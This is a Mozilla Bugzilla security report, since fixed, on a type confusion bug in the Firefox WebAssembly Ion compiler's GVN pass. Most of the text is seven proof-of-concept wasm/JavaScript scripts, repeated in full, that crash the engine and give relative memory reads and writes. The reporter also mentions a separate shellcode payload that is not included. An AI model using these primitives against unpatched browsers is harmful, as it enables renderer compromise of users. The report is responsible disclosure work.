Closed Bug 2021627 Opened 8 months ago Closed 8 months ago

Type confusion GVN type assumptions

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

Firefox 148
defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox148 --- unaffected
firefox149 + fixed
firefox150 + fixed

People

(Reporter: quasar0147mail, Assigned: bvisness)

References

(Blocks 1 open bug, Regression)

Details

(4 keywords)

Attachments

(1 file, 3 external files)

8.62 KB, text/plain
Details

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0

Steps to reproduce:

Hello!
I would like to report a security vulnerability that leads to renderer compromise via type confusion in the WASM ION Pipeline.
Particularly, GVN's type assumptions.

So GVN merges congruent MWasmLoadField nodes if when they differ in precise wasm ref type. For our exploits, we had a first/early load through A as anyref/eqref and a later congruent load of the same field through a subtype B typed as (ref T).
GVN merges these loads, and propagates back the narrow ref T type back onto A, so A's cast of this to T gets folded away and we get a type confusion primitive!

Currently, if you have a struct A with field x as anyref, and struct B with field x at a specific type, then you do something as follows:
type T = struct { f0: i32, f1: mut i32, f2: i32 }
type A = struct { payload: anyref }
type B <: A = struct { payload: ref T }

makeA(x):
return A { payload = x }

w1(a):
broad = a.payload

if (a is B) {
    narrow = ((B)a).payload
    discard(narrow)
}

t = cast<T>(broad) 
t.f1 = 1432778632
return t.f1

(^ pseudocode), GVN will actually allow data from type A to be cast to type T because it incorrectly assumes that because a later type proof is used for an earlier load because of GVN ordering and type optimizations!

To cut to the chase, here are some wasm poc's!

POC 1: our initial work/observation:

(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local i32)
local.get 0
struct.get $a 0
ref.test structref
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1)

)

Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc1.js
before
0
after
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc1.js
before
zsh: segmentation fault /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js

POC 2: eqref test variant
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local i32)

local.get 0
struct.get $a 0
ref.test eqref
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1)

)

Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc2.js
1
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc2.js
0

POC 3: eqref cast
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
local.get 0
struct.get $a 0
ref.cast eqref
drop

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

i32.const 7)

)

(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc3.js
/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:78:1 RuntimeError: bad cast
Stack:
@/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:wasm-function[1]:0x4e
@/tmp/poc3.js:33:7
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc3.js
7

Now to escalate it in severity, we used the following setups:

POC 4:

var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32) (field (mut i32)) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "w1") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 1432778632
struct.set $t 1
local.get 2
struct.get $t 1)
)`;

const { makeA, w1 } = wasmEvalText(text).exports;
const a = makeA({x:1});
try { print(w1(a)); } catch (e) { print(String(e)); }

POC 5:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32) (field i32) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "r0") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 0)

(func (export "r1") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 1)

(func (export "r2") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 2)
)`;

const { makeA, r0, r1, r2 } = wasmEvalText(text).exports;
const a = makeA({x:1});
for (const [name, f] of [['r0', r0], ['r1', r1], ['r2', r2]]) {
try { print(name + '=' + f(a)); } catch (e) { print(name + ' throw ' + e); }
}

POC 6:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field (mut i32))))
(type $u (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 305419896
struct.set $t 0

local.get 2
struct.get $t 0

)
)`;

const { makeA, f } = wasmEvalText(text).exports;
const a = makeA({x:1});
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');

POC 7:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1
ref.cast (ref $t)
struct.get $t 0

)
)`;

const { makeA, f } = wasmEvalText(text).exports;
const a = makeA('hello');
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');

These demonstrate the ability for relative writes and reads in memory due to near arbitrary type confusion!

Let us know if we can provide any other information!

Thanks,
Vi

Actual results:

Type confusion (I sent most of this in the top field since this I originally emailed)

Expected results:

No type confusion!

Summary: Security report → Security report Type confusion GVN type assumptions

(In reply to Vi from comment #0)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0

Steps to reproduce:

Hello!
I would like to report a security vulnerability that leads to renderer compromise via type confusion in the WASM ION Pipeline.
Particularly, GVN's type assumptions.

So GVN merges congruent MWasmLoadField nodes if when they differ in precise wasm ref type. For our exploits, we had a first/early load through A as anyref/eqref and a later congruent load of the same field through a subtype B typed as (ref T).
GVN merges these loads, and propagates back the narrow ref T type back onto A, so A's cast of this to T gets folded away and we get a type confusion primitive!

Currently, if you have a struct A with field x as anyref, and struct B with field x at a specific type, then you do something as follows:
type T = struct { f0: i32, f1: mut i32, f2: i32 }
type A = struct { payload: anyref }
type B <: A = struct { payload: ref T }

makeA(x):
return A { payload = x }

w1(a):
broad = a.payload

if (a is B) {
    narrow = ((B)a).payload
    discard(narrow)
}

t = cast<T>(broad) 
t.f1 = 1432778632
return t.f1

(^ pseudocode), GVN will actually allow data from type A to be cast to type T because it incorrectly assumes that because a later type proof is used for an earlier load because of GVN ordering and type optimizations!

To cut to the chase, here are some wasm poc's!

POC 1: our initial work/observation:

(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local i32)
local.get 0
struct.get $a 0
ref.test structref
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1)

)

Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc1.js
before
0
after
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc1.js
before
zsh: segmentation fault /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js

POC 2: eqref test variant
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local i32)

local.get 0
struct.get $a 0
ref.test eqref
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1)

)

Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc2.js
1
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc2.js
0

POC 3: eqref cast
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
local.get 0
struct.get $a 0
ref.cast eqref
drop

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

i32.const 7)

)

(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc3.js
/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:78:1 RuntimeError: bad cast
Stack:
@/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:wasm-function[1]:0x4e
@/tmp/poc3.js:33:7
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc3.js
7

Now to escalate it in severity, we used the following setups:

POC 4:

var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32) (field (mut i32)) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "w1") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 1432778632
struct.set $t 1
local.get 2
struct.get $t 1)
)`;

const { makeA, w1 } = wasmEvalText(text).exports;
const a = makeA({x:1});
try { print(w1(a)); } catch (e) { print(String(e)); }

POC 5:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32) (field i32) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "r0") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 0)

(func (export "r1") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 1)

(func (export "r2") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 2)
)`;

const { makeA, r0, r1, r2 } = wasmEvalText(text).exports;
const a = makeA({x:1});
for (const [name, f] of [['r0', r0], ['r1', r1], ['r2', r2]]) {
try { print(name + '=' + f(a)); } catch (e) { print(name + ' throw ' + e); }
}

POC 6:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field (mut i32))))
(type $u (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 305419896
struct.set $t 0

local.get 2
struct.get $t 0

)
)`;

const { makeA, f } = wasmEvalText(text).exports;
const a = makeA({x:1});
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');

POC 7:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');

const text = `(module
(type $t (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))

(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)

(func (export "f") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1

(block (result (ref $a))
  local.get 0
  br_on_cast_fail 0 (ref $a) (ref $b)
  struct.get $b 0
  drop
  local.get 0
)
drop

local.get 1
ref.cast (ref $t)
struct.get $t 0

)
)`;

const { makeA, f } = wasmEvalText(text).exports;
const a = makeA('hello');
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');

These demonstrate the ability for relative writes and reads in memory due to near arbitrary type confusion!

Let us know if we can provide any other information!

Thanks,
Vi

Actual results:

Type confusion (I sent most of this in the top field since this I originally emailed)

Expected results:

No type confusion!

So I think I messed up the markdown here, I've attached the original message as a file because I'm not sure how to edit in this.

Attached file m1.txt —

Upload of the original because I messed up markdown. Sorry for the messy report!

Group: firefox-core-security → javascript-core-security
Component: Untriaged → JavaScript: WebAssembly
Product: Firefox → Core

With regards to patch advice:
So right now, MWasmLoadField only stores hierarchy_ from the original ref type within the constructor, and congruentTo only compares that hierarchy, so anyref, eqref, ..., and a target (ref $T) similar can all be under an Any heirachy, but they are not interchangeable for GVN.
We cannot just use wasmRefType(), because it is mutable, narrows, and explicitly stated to not be used in congruence checks.
We think the best way to fix this therefore is in the constructor to have an immutable value that represents the full ref type of the load, and to compare off of this, though there may be a better way.

We have built a payload for shellcode execution within the renderer, let us know if you would like this added here or not (unsure if this thread will ever be public).

Assignee: nobody → bvisness
Severity: -- → S3
Priority: -- → P1

Thanks for the report. This is indeed a type mixup that can lead to arbitrary out-of-bounds access. I've put together some PoCs myself based on your original test case. This should be sec-high.

I strongly suspect that this is only exploitable due to bug 2000677, which made GVN use the GLB instead of LUB when combining congruent MIR instructions. For the PoC provided, this would give the final load a result type of anyref, not (ref 0). I have not 100% verified this yet though.

Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Summary: Security report Type confusion GVN type assumptions → Type confusion GVN type assumptions
Attached file (secure) —
Attached file (secure) —

Hi Ben, nice to meet you!
I'm unsure if I should be able to see the attached files, but I do get permission denied from them.
That said, this does seem to be the case because in firefox 148 (I believe that bug is set to firefox 149), we could not trigger this.

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:bvisness, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(bvisness)
Blocks: sm-security
Severity: S3 → S2
Flags: needinfo?(bvisness)

Comment on attachment 9551242 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Not super easily. The patch indicates that something is wrong with GVN but doesn't make it clear what. In my opinion a successful exploit requires some other cleverness that is not suggested by the patch.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta
  • If not all supported branches, which bug introduced the flaw?: Bug 2000677
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Trivial to create
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely to cause regressions, since it just disables GVN for a specific node type in places where types differ.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Unknown
Attachment #9551242 - Flags: sec-approval?
Keywords: regression
Regressed by: 2000677

Set release status flags based on info from the regressing bug 2000677

Set release status flags based on info from the regressing bug 2000677

Set release status flags based on info from the regressing bug 2000677

Comment on attachment 9551242 [details]
(secure)

sec-approval+ to land now and uplift to beta 149

Attachment #9551242 - Flags: sec-approval?
Attachment #9551242 - Flags: sec-approval+
Attachment #9551242 - Flags: approval-mozilla-beta+

firefox-beta Uplift Approval Request

  • User impact if declined: Rather severe and easy-to-exploit type confusion bug.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Trivial patch restricting GVN for a specific node type.
  • String changes made/needed: none
  • Is Android affected?: no
Attachment #9552251 - Flags: approval-mozilla-beta?
Attached file (secure) —
Attachment #9551242 - Flags: approval-mozilla-beta+
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 8 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9552251 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]

Can you also credit this security researcher in the disclosure if one will exist:
Owen Kwan (Veria Labs) owen@verialabs.com

Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: